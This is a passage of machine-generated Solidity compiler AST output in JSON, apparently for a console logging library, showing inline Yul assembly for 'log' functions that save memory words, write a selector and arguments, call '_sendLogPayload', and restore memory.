YulTypedName","src":"357115:1:22","type":""}],"src":"357089:342:22"},{"nativeSrc":"357444:17:22","nodeType":"YulAssignment","src":"357444:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"357456:4:22","nodeType":"YulLiteral","src":"357456:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"357450:5:22","nodeType":"YulIdentifier","src":"357450:5:22"},"nativeSrc":"357450:11:22","nodeType":"YulFunctionCall","src":"357450:11:22"},"variableNames":[{"name":"m0","nativeSrc":"357444:2:22","nodeType":"YulIdentifier","src":"357444:2:22"}]},{"nativeSrc":"357474:17:22","nodeType":"YulAssignment","src":"357474:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"357486:4:22","nodeType":"YulLiteral","src":"357486:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"357480:5:22","nodeType":"YulIdentifier","src":"357480:5:22"},"nativeSrc":"357480:11:22","nodeType":"YulFunctionCall","src":"357480:11:22"},"variableNames":[{"name":"m1","nativeSrc":"357474:2:22","nodeType":"YulIdentifier","src":"357474:2:22"}]},{"nativeSrc":"357504:17:22","nodeType":"YulAssignment","src":"357504:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"357516:4:22","nodeType":"YulLiteral","src":"357516:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"357510:5:22","nodeType":"YulIdentifier","src":"357510:5:22"},"nativeSrc":"357510:11:22","nodeType":"YulFunctionCall","src":"357510:11:22"},"variableNames":[{"name":"m2","nativeSrc":"357504:2:22","nodeType":"YulIdentifier","src":"357504:2:22"}]},{"nativeSrc":"357534:17:22","nodeType":"YulAssignment","src":"357534:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"357546:4:22","nodeType":"YulLiteral","src":"357546:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"357540:5:22","nodeType":"YulIdentifier","src":"357540:5:22"},"nativeSrc":"357540:11:22","nodeType":"YulFunctionCall","src":"357540:11:22"},"variableNames":[{"name":"m3","nativeSrc":"357534:2:22","nodeType":"YulIdentifier","src":"357534:2:22"}]},{"nativeSrc":"357564:17:22","nodeType":"YulAssignment","src":"357564:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"357576:4:22","nodeType":"YulLiteral","src":"357576:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"357570:5:22","nodeType":"YulIdentifier","src":"357570:5:22"},"nativeSrc":"357570:11:22","nodeType":"YulFunctionCall","src":"357570:11:22"},"variableNames":[{"name":"m4","nativeSrc":"357564:2:22","nodeType":"YulIdentifier","src":"357564:2:22"}]},{"nativeSrc":"357594:17:22","nodeType":"YulAssignment","src":"357594:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"357606:4:22","nodeType":"YulLiteral","src":"357606:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"357600:5:22","nodeType":"YulIdentifier","src":"357600:5:22"},"nativeSrc":"357600:11:22","nodeType":"YulFunctionCall","src":"357600:11:22"},"variableNames":[{"name":"m5","nativeSrc":"357594:2:22","nodeType":"YulIdentifier","src":"357594:2:22"}]},{"nativeSrc":"357624:17:22","nodeType":"YulAssignment","src":"357624:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"357636:4:22","nodeType":"YulLiteral","src":"357636:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"357630:5:22","nodeType":"YulIdentifier","src":"357630:5:22"},"nativeSrc":"357630:11:22","nodeType":"YulFunctionCall","src":"357630:11:22"},"variableNames":[{"name":"m6","nativeSrc":"357624:2:22","nodeType":"YulIdentifier","src":"357624:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"357724:4:22","nodeType":"YulLiteral","src":"357724:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"357730:10:22","nodeType":"YulLiteral","src":"357730:10:22","type":"","value":"0xe41b6f6f"}],"functionName":{"name":"mstore","nativeSrc":"357717:6:22","nodeType":"YulIdentifier","src":"357717:6:22"},"nativeSrc":"357717:24:22","nodeType":"YulFunctionCall","src":"357717:24:22"},"nativeSrc":"357717:24:22","nodeType":"YulExpressionStatement","src":"357717:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"357761:4:22","nodeType":"YulLiteral","src":"357761:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"357767:4:22","nodeType":"YulLiteral","src":"357767:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"357754:6:22","nodeType":"YulIdentifier","src":"357754:6:22"},"nativeSrc":"357754:18:22","nodeType":"YulFunctionCall","src":"357754:18:22"},"nativeSrc":"357754:18:22","nodeType":"YulExpressionStatement","src":"357754:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"357792:4:22","nodeType":"YulLiteral","src":"357792:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"357798:2:22","nodeType":"YulIdentifier","src":"357798:2:22"}],"functionName":{"name":"mstore","nativeSrc":"357785:6:22","nodeType":"YulIdentifier","src":"357785:6:22"},"nativeSrc":"357785:16:22","nodeType":"YulFunctionCall","src":"357785:16:22"},"nativeSrc":"357785:16:22","nodeType":"YulExpressionStatement","src":"357785:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"357821:4:22","nodeType":"YulLiteral","src":"357821:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"357827:2:22","nodeType":"YulIdentifier","src":"357827:2:22"}],"functionName":{"name":"mstore","nativeSrc":"357814:6:22","nodeType":"YulIdentifier","src":"357814:6:22"},"nativeSrc":"357814:16:22","nodeType":"YulFunctionCall","src":"357814:16:22"},"nativeSrc":"357814:16:22","nodeType":"YulExpressionStatement","src":"357814:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"357850:4:22","nodeType":"YulLiteral","src":"357850:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"357856:2:22","nodeType":"YulIdentifier","src":"357856:2:22"}],"functionName":{"name":"mstore","nativeSrc":"357843:6:22","nodeType":"YulIdentifier","src":"357843:6:22"},"nativeSrc":"357843:16:22","nodeType":"YulFunctionCall","src":"357843:16:22"},"nativeSrc":"357843:16:22","nodeType":"YulExpressionStatement","src":"357843:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"357884:4:22","nodeType":"YulLiteral","src":"357884:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"357890:2:22","nodeType":"YulIdentifier","src":"357890:2:22"}],"functionName":{"name":"writeString","nativeSrc":"357872:11:22","nodeType":"YulIdentifier","src":"357872:11:22"},"nativeSrc":"357872:21:22","nodeType":"YulFunctionCall","src":"357872:21:22"},"nativeSrc":"357872:21:22","nodeType":"YulExpressionStatement","src":"357872:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45372,"isOffset":false,"isSlot":false,"src":"357444:2:22","valueSize":1},{"declaration":45375,"isOffset":false,"isSlot":false,"src":"357474:2:22","valueSize":1},{"declaration":45378,"isOffset":false,"isSlot":false,"src":"357504:2:22","valueSize":1},{"declaration":45381,"isOffset":false,"isSlot":false,"src":"357534:2:22","valueSize":1},{"declaration":45384,"isOffset":false,"isSlot":false,"src":"357564:2:22","valueSize":1},{"declaration":45387,"isOffset":false,"isSlot":false,"src":"357594:2:22","valueSize":1},{"declaration":45390,"isOffset":false,"isSlot":false,"src":"357624:2:22","valueSize":1},{"declaration":45362,"isOffset":false,"isSlot":false,"src":"357890:2:22","valueSize":1},{"declaration":45364,"isOffset":false,"isSlot":false,"src":"357798:2:22","valueSize":1},{"declaration":45366,"isOffset":false,"isSlot":false,"src":"357827:2:22","valueSize":1},{"declaration":45368,"isOffset":false,"isSlot":false,"src":"357856:2:22","valueSize":1}],"id":45392,"nodeType":"InlineAssembly","src":"357066:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45394,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"357928:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":45395,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"357934:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":45393,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"357912:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45396,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"357912:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45397,"nodeType":"ExpressionStatement","src":"357912:27:22"},{"AST":{"nativeSrc":"357958:214:22","nodeType":"YulBlock","src":"357958:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"357979:4:22","nodeType":"YulLiteral","src":"357979:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"357985:2:22","nodeType":"YulIdentifier","src":"357985:2:22"}],"functionName":{"name":"mstore","nativeSrc":"357972:6:22","nodeType":"YulIdentifier","src":"357972:6:22"},"nativeSrc":"357972:16:22","nodeType":"YulFunctionCall","src":"357972:16:22"},"nativeSrc":"357972:16:22","nodeType":"YulExpressionStatement","src":"357972:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"358008:4:22","nodeType":"YulLiteral","src":"358008:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"358014:2:22","nodeType":"YulIdentifier","src":"358014:2:22"}],"functionName":{"name":"mstore","nativeSrc":"358001:6:22","nodeType":"YulIdentifier","src":"358001:6:22"},"nativeSrc":"358001:16:22","nodeType":"YulFunctionCall","src":"358001:16:22"},"nativeSrc":"358001:16:22","nodeType":"YulExpressionStatement","src":"358001:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"358037:4:22","nodeType":"YulLiteral","src":"358037:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"358043:2:22","nodeType":"YulIdentifier","src":"358043:2:22"}],"functionName":{"name":"mstore","nativeSrc":"358030:6:22","nodeType":"YulIdentifier","src":"358030:6:22"},"nativeSrc":"358030:16:22","nodeType":"YulFunctionCall","src":"358030:16:22"},"nativeSrc":"358030:16:22","nodeType":"YulExpressionStatement","src":"358030:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"358066:4:22","nodeType":"YulLiteral","src":"358066:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"358072:2:22","nodeType":"YulIdentifier","src":"358072:2:22"}],"functionName":{"name":"mstore","nativeSrc":"358059:6:22","nodeType":"YulIdentifier","src":"358059:6:22"},"nativeSrc":"358059:16:22","nodeType":"YulFunctionCall","src":"358059:16:22"},"nativeSrc":"358059:16:22","nodeType":"YulExpressionStatement","src":"358059:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"358095:4:22","nodeType":"YulLiteral","src":"358095:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"358101:2:22","nodeType":"YulIdentifier","src":"358101:2:22"}],"functionName":{"name":"mstore","nativeSrc":"358088:6:22","nodeType":"YulIdentifier","src":"358088:6:22"},"nativeSrc":"358088:16:22","nodeType":"YulFunctionCall","src":"358088:16:22"},"nativeSrc":"358088:16:22","nodeType":"YulExpressionStatement","src":"358088:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"358124:4:22","nodeType":"YulLiteral","src":"358124:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"358130:2:22","nodeType":"YulIdentifier","src":"358130:2:22"}],"functionName":{"name":"mstore","nativeSrc":"358117:6:22","nodeType":"YulIdentifier","src":"358117:6:22"},"nativeSrc":"358117:16:22","nodeType":"YulFunctionCall","src":"358117:16:22"},"nativeSrc":"358117:16:22","nodeType":"YulExpressionStatement","src":"358117:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"358153:4:22","nodeType":"YulLiteral","src":"358153:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"358159:2:22","nodeType":"YulIdentifier","src":"358159:2:22"}],"functionName":{"name":"mstore","nativeSrc":"358146:6:22","nodeType":"YulIdentifier","src":"358146:6:22"},"nativeSrc":"358146:16:22","nodeType":"YulFunctionCall","src":"358146:16:22"},"nativeSrc":"358146:16:22","nodeType":"YulExpressionStatement","src":"358146:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45372,"isOffset":false,"isSlot":false,"src":"357985:2:22","valueSize":1},{"declaration":45375,"isOffset":false,"isSlot":false,"src":"358014:2:22","valueSize":1},{"declaration":45378,"isOffset":false,"isSlot":false,"src":"358043:2:22","valueSize":1},{"declaration":45381,"isOffset":false,"isSlot":false,"src":"358072:2:22","valueSize":1},{"declaration":45384,"isOffset":false,"isSlot":false,"src":"358101:2:22","valueSize":1},{"declaration":45387,"isOffset":false,"isSlot":false,"src":"358130:2:22","valueSize":1},{"declaration":45390,"isOffset":false,"isSlot":false,"src":"358159:2:22","valueSize":1}],"id":45398,"nodeType":"InlineAssembly","src":"357949:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"356853:3:22","parameters":{"id":45369,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45362,"mutability":"mutable","name":"p0","nameLocation":"356865:2:22","nodeType":"VariableDeclaration","scope":45400,"src":"356857:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45361,"name":"bytes32","nodeType":"ElementaryTypeName","src":"356857:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45364,"mutability":"mutable","name":"p1","nameLocation":"356877:2:22","nodeType":"VariableDeclaration","scope":45400,"src":"356869:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45363,"name":"uint256","nodeType":"ElementaryTypeName","src":"356869:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45366,"mutability":"mutable","name":"p2","nameLocation":"356886:2:22","nodeType":"VariableDeclaration","scope":45400,"src":"356881:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45365,"name":"bool","nodeType":"ElementaryTypeName","src":"356881:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":45368,"mutability":"mutable","name":"p3","nameLocation":"356898:2:22","nodeType":"VariableDeclaration","scope":45400,"src":"356890:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45367,"name":"uint256","nodeType":"ElementaryTypeName","src":"356890:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"356856:45:22"},"returnParameters":{"id":45370,"nodeType":"ParameterList","parameters":[],"src":"356916:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45446,"nodeType":"FunctionDefinition","src":"358184:1530:22","nodes":[],"body":{"id":45445,"nodeType":"Block","src":"358256:1458:22","nodes":[],"statements":[{"assignments":[45412],"declarations":[{"constant":false,"id":45412,"mutability":"mutable","name":"m0","nameLocation":"358274:2:22","nodeType":"VariableDeclaration","scope":45445,"src":"358266:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45411,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358266:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45413,"nodeType":"VariableDeclarationStatement","src":"358266:10:22"},{"assignments":[45415],"declarations":[{"constant":false,"id":45415,"mutability":"mutable","name":"m1","nameLocation":"358294:2:22","nodeType":"VariableDeclaration","scope":45445,"src":"358286:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45414,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358286:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45416,"nodeType":"VariableDeclarationStatement","src":"358286:10:22"},{"assignments":[45418],"declarations":[{"constant":false,"id":45418,"mutability":"mutable","name":"m2","nameLocation":"358314:2:22","nodeType":"VariableDeclaration","scope":45445,"src":"358306:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45417,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358306:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45419,"nodeType":"VariableDeclarationStatement","src":"358306:10:22"},{"assignments":[45421],"declarations":[{"constant":false,"id":45421,"mutability":"mutable","name":"m3","nameLocation":"358334:2:22","nodeType":"VariableDeclaration","scope":45445,"src":"358326:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45420,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358326:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45422,"nodeType":"VariableDeclarationStatement","src":"358326:10:22"},{"assignments":[45424],"declarations":[{"constant":false,"id":45424,"mutability":"mutable","name":"m4","nameLocation":"358354:2:22","nodeType":"VariableDeclaration","scope":45445,"src":"358346:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45423,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358346:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45425,"nodeType":"VariableDeclarationStatement","src":"358346:10:22"},{"assignments":[45427],"declarations":[{"constant":false,"id":45427,"mutability":"mutable","name":"m5","nameLocation":"358374:2:22","nodeType":"VariableDeclaration","scope":45445,"src":"358366:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45426,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358366:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45428,"nodeType":"VariableDeclarationStatement","src":"358366:10:22"},{"assignments":[45430],"declarations":[{"constant":false,"id":45430,"mutability":"mutable","name":"m6","nameLocation":"358394:2:22","nodeType":"VariableDeclaration","scope":45445,"src":"358386:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45429,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358386:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45431,"nodeType":"VariableDeclarationStatement","src":"358386:10:22"},{"assignments":[45433],"declarations":[{"constant":false,"id":45433,"mutability":"mutable","name":"m7","nameLocation":"358414:2:22","nodeType":"VariableDeclaration","scope":45445,"src":"358406:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45432,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358406:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45434,"nodeType":"VariableDeclarationStatement","src":"358406:10:22"},{"assignments":[45436],"declarations":[{"constant":false,"id":45436,"mutability":"mutable","name":"m8","nameLocation":"358434:2:22","nodeType":"VariableDeclaration","scope":45445,"src":"358426:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45435,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358426:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45437,"nodeType":"VariableDeclarationStatement","src":"358426:10:22"},{"AST":{"nativeSrc":"358455:924:22","nodeType":"YulBlock","src":"358455:924:22","statements":[{"body":{"nativeSrc":"358498:313:22","nodeType":"YulBlock","src":"358498:313:22","statements":[{"nativeSrc":"358516:15:22","nodeType":"YulVariableDeclaration","src":"358516:15:22","value":{"kind":"number","nativeSrc":"358530:1:22","nodeType":"YulLiteral","src":"358530:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"358520:6:22","nodeType":"YulTypedName","src":"358520:6:22","type":""}]},{"body":{"nativeSrc":"358601:40:22","nodeType":"YulBlock","src":"358601:40:22","statements":[{"body":{"nativeSrc":"358630:9:22","nodeType":"YulBlock","src":"358630:9:22","statements":[{"nativeSrc":"358632:5:22","nodeType":"YulBreak","src":"358632:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"358618:6:22","nodeType":"YulIdentifier","src":"358618:6:22"},{"name":"w","nativeSrc":"358626:1:22","nodeType":"YulIdentifier","src":"358626:1:22"}],"functionName":{"name":"byte","nativeSrc":"358613:4:22","nodeType":"YulIdentifier","src":"358613:4:22"},"nativeSrc":"358613:15:22","nodeType":"YulFunctionCall","src":"358613:15:22"}],"functionName":{"name":"iszero","nativeSrc":"358606:6:22","nodeType":"YulIdentifier","src":"358606:6:22"},"nativeSrc":"358606:23:22","nodeType":"YulFunctionCall","src":"358606:23:22"},"nativeSrc":"358603:36:22","nodeType":"YulIf","src":"358603:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"358558:6:22","nodeType":"YulIdentifier","src":"358558:6:22"},{"kind":"number","nativeSrc":"358566:4:22","nodeType":"YulLiteral","src":"358566:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"358555:2:22","nodeType":"YulIdentifier","src":"358555:2:22"},"nativeSrc":"358555:16:22","nodeType":"YulFunctionCall","src":"358555:16:22"},"nativeSrc":"358548:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"358572:28:22","nodeType":"YulBlock","src":"358572:28:22","statements":[{"nativeSrc":"358574:24:22","nodeType":"YulAssignment","src":"358574:24:22","value":{"arguments":[{"name":"length","nativeSrc":"358588:6:22","nodeType":"YulIdentifier","src":"358588:6:22"},{"kind":"number","nativeSrc":"358596:1:22","nodeType":"YulLiteral","src":"358596:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"358584:3:22","nodeType":"YulIdentifier","src":"358584:3:22"},"nativeSrc":"358584:14:22","nodeType":"YulFunctionCall","src":"358584:14:22"},"variableNames":[{"name":"length","nativeSrc":"358574:6:22","nodeType":"YulIdentifier","src":"358574:6:22"}]}]},"pre":{"nativeSrc":"358552:2:22","nodeType":"YulBlock","src":"358552:2:22","statements":[]},"src":"358548:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"358665:3:22","nodeType":"YulIdentifier","src":"358665:3:22"},{"name":"length","nativeSrc":"358670:6:22","nodeType":"YulIdentifier","src":"358670:6:22"}],"functionName":{"name":"mstore","nativeSrc":"358658:6:22","nodeType":"YulIdentifier","src":"358658:6:22"},"nativeSrc":"358658:19:22","nodeType":"YulFunctionCall","src":"358658:19:22"},"nativeSrc":"358658:19:22","nodeType":"YulExpressionStatement","src":"358658:19:22"},{"nativeSrc":"358694:37:22","nodeType":"YulVariableDeclaration","src":"358694:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"358711:3:22","nodeType":"YulLiteral","src":"358711:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"358720:1:22","nodeType":"YulLiteral","src":"358720:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"358723:6:22","nodeType":"YulIdentifier","src":"358723:6:22"}],"functionName":{"name":"shl","nativeSrc":"358716:3:22","nodeType":"YulIdentifier","src":"358716:3:22"},"nativeSrc":"358716:14:22","nodeType":"YulFunctionCall","src":"358716:14:22"}],"functionName":{"name":"sub","nativeSrc":"358707:3:22","nodeType":"YulIdentifier","src":"358707:3:22"},"nativeSrc":"358707:24:22","nodeType":"YulFunctionCall","src":"358707:24:22"},"variables":[{"name":"shift","nativeSrc":"358698:5:22","nodeType":"YulTypedName","src":"358698:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"358759:3:22","nodeType":"YulIdentifier","src":"358759:3:22"},{"kind":"number","nativeSrc":"358764:4:22","nodeType":"YulLiteral","src":"358764:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"358755:3:22","nodeType":"YulIdentifier","src":"358755:3:22"},"nativeSrc":"358755:14:22","nodeType":"YulFunctionCall","src":"358755:14:22"},{"arguments":[{"name":"shift","nativeSrc":"358775:5:22","nodeType":"YulIdentifier","src":"358775:5:22"},{"arguments":[{"name":"shift","nativeSrc":"358786:5:22","nodeType":"YulIdentifier","src":"358786:5:22"},{"name":"w","nativeSrc":"358793:1:22","nodeType":"YulIdentifier","src":"358793:1:22"}],"functionName":{"name":"shr","nativeSrc":"358782:3:22","nodeType":"YulIdentifier","src":"358782:3:22"},"nativeSrc":"358782:13:22","nodeType":"YulFunctionCall","src":"358782:13:22"}],"functionName":{"name":"shl","nativeSrc":"358771:3:22","nodeType":"YulIdentifier","src":"358771:3:22"},"nativeSrc":"358771:25:22","nodeType":"YulFunctionCall","src":"358771:25:22"}],"functionName":{"name":"mstore","nativeSrc":"358748:6:22","nodeType":"YulIdentifier","src":"358748:6:22"},"nativeSrc":"358748:49:22","nodeType":"YulFunctionCall","src":"358748:49:22"},"nativeSrc":"358748:49:22","nodeType":"YulExpressionStatement","src":"358748:49:22"}]},"name":"writeString","nativeSrc":"358469:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"358490:3:22","nodeType":"YulTypedName","src":"358490:3:22","type":""},{"name":"w","nativeSrc":"358495:1:22","nodeType":"YulTypedName","src":"358495:1:22","type":""}],"src":"358469:342:22"},{"nativeSrc":"358824:17:22","nodeType":"YulAssignment","src":"358824:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"358836:4:22","nodeType":"YulLiteral","src":"358836:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"358830:5:22","nodeType":"YulIdentifier","src":"358830:5:22"},"nativeSrc":"358830:11:22","nodeType":"YulFunctionCall","src":"358830:11:22"},"variableNames":[{"name":"m0","nativeSrc":"358824:2:22","nodeType":"YulIdentifier","src":"358824:2:22"}]},{"nativeSrc":"358854:17:22","nodeType":"YulAssignment","src":"358854:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"358866:4:22","nodeType":"YulLiteral","src":"358866:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"358860:5:22","nodeType":"YulIdentifier","src":"358860:5:22"},"nativeSrc":"358860:11:22","nodeType":"YulFunctionCall","src":"358860:11:22"},"variableNames":[{"name":"m1","nativeSrc":"358854:2:22","nodeType":"YulIdentifier","src":"358854:2:22"}]},{"nativeSrc":"358884:17:22","nodeType":"YulAssignment","src":"358884:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"358896:4:22","nodeType":"YulLiteral","src":"358896:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"358890:5:22","nodeType":"YulIdentifier","src":"358890:5:22"},"nativeSrc":"358890:11:22","nodeType":"YulFunctionCall","src":"358890:11:22"},"variableNames":[{"name":"m2","nativeSrc":"358884:2:22","nodeType":"YulIdentifier","src":"358884:2:22"}]},{"nativeSrc":"358914:17:22","nodeType":"YulAssignment","src":"358914:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"358926:4:22","nodeType":"YulLiteral","src":"358926:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"358920:5:22","nodeType":"YulIdentifier","src":"358920:5:22"},"nativeSrc":"358920:11:22","nodeType":"YulFunctionCall","src":"358920:11:22"},"variableNames":[{"name":"m3","nativeSrc":"358914:2:22","nodeType":"YulIdentifier","src":"358914:2:22"}]},{"nativeSrc":"358944:17:22","nodeType":"YulAssignment","src":"358944:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"358956:4:22","nodeType":"YulLiteral","src":"358956:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"358950:5:22","nodeType":"YulIdentifier","src":"358950:5:22"},"nativeSrc":"358950:11:22","nodeType":"YulFunctionCall","src":"358950:11:22"},"variableNames":[{"name":"m4","nativeSrc":"358944:2:22","nodeType":"YulIdentifier","src":"358944:2:22"}]},{"nativeSrc":"358974:17:22","nodeType":"YulAssignment","src":"358974:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"358986:4:22","nodeType":"YulLiteral","src":"358986:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"358980:5:22","nodeType":"YulIdentifier","src":"358980:5:22"},"nativeSrc":"358980:11:22","nodeType":"YulFunctionCall","src":"358980:11:22"},"variableNames":[{"name":"m5","nativeSrc":"358974:2:22","nodeType":"YulIdentifier","src":"358974:2:22"}]},{"nativeSrc":"359004: